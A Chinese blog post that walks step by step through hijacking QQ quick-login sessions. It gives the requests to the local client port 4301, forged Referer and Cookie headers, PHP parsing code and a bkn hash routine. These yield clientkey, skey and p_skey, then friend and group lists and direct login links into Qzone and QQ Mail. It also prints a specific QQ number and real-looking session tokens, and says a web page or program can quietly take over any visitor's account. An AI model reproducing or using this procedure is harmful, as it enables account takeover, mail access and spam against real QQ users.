为什么你什么都没干,但QQ空间中却发了很多小广告?也许你的QQ账号已经被盗。本文将讲解一个QQ的快速登录的漏洞。
而利用这个漏洞最终可以实现,只要你点击一个页面或运行过一个程序,那么我就可以拥有你的登录权限。可以直接进你邮箱,进你微云,进你QQ空间等....
本次学习的初衷是为了让自己的网站加入QQ群验证,用户绑定QQ后自动验证是否加入此群。示例网站:http://www.eleuu.com/qqsign/qun.php
但是要手动输入p_skey、uin和skey的值,并且仅群内成员才可以在此页面更新群员数据。
后面研究QQ快速登录的过程发现,原来QQ快捷登录还是存在很多漏洞的。
前言:
用到的工具软件:火狐浏览器、Fiddler抓包软件、POSTMAN。
1. 使用Fiddler软件进行抓包,注意抓取HTTPS数据需要如下图设置
2. 获取QQ登录的整个流程
3. php 的 curl 请求函数,我这里简写了
自己去仔细分析那些参数和返回的数据。对了,使用POSTMAN之前先关闭Fiddler,不然请求不到本地QQ数据。
接下来讲解QQ登录的一个过程。以获取群列表数据为例,这里分六个步骤。
第一步:获取pt_local_token也叫pt_local_tk
向目标页面发送一个请求
其中通过参数s_url=https://qun.qq.com/member.html告诉服务器如果登录成功后请去往s_url这个页面。服务器先给它一个pt_local_token备注下,再通过响应头返回一堆Set-Cookie告诉客户端,存好这些数据,其中就包括了pt_local_token。
我们将pt_local_token赋值给变量$token,如图所示$token=-1432336490
第二步:获取本地登录的QQ号码
这一次我们需要请求本地的4301端口,其中{$token}为第一步获取的pt_local_token
目标地址中r=0.0760575656488639这是个随机数,不需要也可以。
这一次我们需要伪造请求头信息
Referer: https://xui.ptlogin2.qq.com
Cookie: pt_local_token={$token}
其中Referer是指是从哪里来请求的,这里腾讯做了限制,必须是地址中含有*.ptlogin2.qq.com
返回的结果是个JSON数组里面就有uinQQ号,我们将其赋值给$uin,如图所示$uin=775262592
我们获取到的json数据为:var var_sso_uin_list=[{"account":"775262592","client_type":65793,"face_index":693,"gender":1,"nickname":"葑茚�記憶","uin":"775262592","uin_flag":54559302}];ptui_getuins_CB(var_sso_uin_list);
使用如下正则匹配即可取出uin
preg_match("/var_sso_uin_list=(.*?);ptui_getuins_CB/", $body, $matches);
$jsonObj = json_decode($matches[1], false);
$uin = $jsonObj[0]->uin;
第三步:获取QQ的clientkey
目标地址
填入第一、二步获取的$uin和$token再填入和第二步相同的请求头
Referer: https://xui.ptlogin2.qq.com
Cookie: pt_local_token={$token}
我们在返回的cookies中找到clientkey,如图所示$clientkey=
00015B1F75330068074611E821823862D91C5375106099B8B85F91C7069484BD790D1111AAADC5D3C3E71CA50ABAB349F436BA1C8EC69E054D63B864AE6C90CFF72128C92419410337B6E53E5931A8C0DD2BB4E770C05BB2737845D16CEDC5FE64909CFD09430419F1A21F9E4E0D9319
第四步:获取QQ的skey和第五步的请求地址
目标地址
填入第一、二步获取的$uin和$token
请求头我们按以下设置
Referer: https://xui.ptlogin2.qq.com
Cookie: pt_local_token={$token};clientkey={clientkey};
从返回的cookies中找到skey,如图所示$skey=@zsZoAvHTn
我们从返回的json数据中可以得到第五步的目标地址$richurl=https://ptlogin2.qun.qq.com/check_sig?pttype=2&uin=775262592&service=jump&nodirect=0&ptsigx=9f05a5f5389aa9b9c5aff18347c516e5b12322b9888212bcbde401cc42491bed7087bba4c17ea36228fd735a14552a6affef0d63690d82ffb4d0e21ea529006e&s_url=https%3A%2F%2Fqun.qq.com%2Fmember.html&f_url=&ptlang=2052&ptredirect=100&aid=1000101&daid=73&j_later=0&low_login_hour=0®master=0&pt_login_type=2&pt_aid=715030901&pt_aaid=0&pt_light=0&pt_3rd_aid=0
第五步:获取QQ的p_skey
目标地址 第四步获得得到$richurl地址
从返回的cookies中找到p_skey,如图所示$p_skey=-xM0FTIxP3ih1gy8nPjlm4dIxACwRAyNp3riN1cpy2k_
第六步:调用数据接口
Bkn参数的计算:调用某些接口需用到bkn,这里我从腾讯官方的js文件找出,并简化出以下代码,
function GetBkn($skey){
for ($i = 0,$hash = 5381;$i < strlen($skey);++$i){
$hash += ($hash << 5) + ord(mb_substr($skey, $i, 1, 'utf-8'));
}
return (string)($hash & 2147483647);
}
$bkn=GetBkn($skey);
这里我用$skey=@zsZoAvHTn;代入计算得到$bkn=1962067900
1)取群员列表接口get_group_list
目标地址https://qun.qq.com/cgi-bin/qun_mgr/get_group_list
请求头Cookie: p_skey={$p_skey};uin=o{$uin} ;skey={$skey};
POST参数bkn={$bkn};
群列表:
2)取好友列表接口get_friend_list
目标地址https://qun.qq.com/cgi-bin/qun_mgr/get_friend_list
请求头Cookie: p_skey={$p_skey};uin=o{$uin} ;skey={$skey};
POST参数bkn={$bkn};
好友列表:
3)取群成员列表接口search_group_members
目标地址https://qun.qq.com/cgi-bin/qun_mgr/search_group_members
请求头Cookie: p_skey={$p_skey};uin=o{$uin} ;skey={$skey};
POST参数bkn={$bkn};end=20;gc=76773914;sort=0;st=0
其中end为要获取多少个,st为获取成员的起始位置
返回的count为总群员数
群成员列表:
4) 直接进入QQ空间
https://ssl.ptlogin2.qq.com/jump?pt_clientver=5575&pt_src=1&keyindex=9&ptlang=2052&clientuin=775262592&clientkey=00015B1F75330068074611E821823862D91C5375106099B8B85F91C7069484BD790D1111AAADC5D3C3E71CA50ABAB349F436BA1C8EC69E054D63B864AE6C90CFF72128C92419410337B6E53E5931A8C0DD2BB4E770C05BB2737845D16CEDC5FE64909CFD09430419F1A21F9E4E0D9319&u1=https:%2F%2Fuser.qzone.qq.com%2F775262592%2Finfocenter&source=panelstar
5) 直接进入邮箱
https://ssl.ptlogin2.qq.com/qqmail?pt_clientver=5575&pt_src=1&keyindex=9&Fun=clientread&ADUIN=775262592&ADSESSION=iii&ADTAG=jjj&clientuin=775262592&clientkey=00015B1F75330068074611E821823862D91C5375106099B8B85F91C7069484BD790D1111AAADC5D3C3E71CA50ABAB349F436BA1C8EC69E054D63B864AE6C90CFF72128C92419410337B6E53E5931A8C0DD2BB4E770C05BB2737845D16CEDC5FE64909CFD09430419F1A21F9E4E0D9319&ptlang=2052&httptype=0
从上面这些我们就可以看出,只要你电脑上登录了QQ,只要你打开了这个页面或者打开了这个窗体,那么你的账号就已经被入侵!
拿到了Cookie,你就可以通过CSRF(跨站伪装)的形式,来搞好多事情。
这些Cookie就相当于令牌,有了这个令牌就可以拥有快速登录的权限,就相当于你登录一般的网站,账号密码进去,后台会给浏览器注册一条Token来做状态验证一样。
可以在网站上放一个页面,里面跑http请求,或者搞个窗体,里面也跑http请求。不需要输入账号密码,可以直接拿着QQ空间发表留言的接口直接调用,可以直接爬虫抓相册图片,直接进邮箱,进微云等等等等。
本文地址:http://huazai.eleuu.com/?post=7
版权声明:若无注明,本文皆为“皮皮华博客”原创,转载请保留文章出处。
发表吐槽
你肿么看?
既然没有吐槽,那就赶紧抢沙发吧!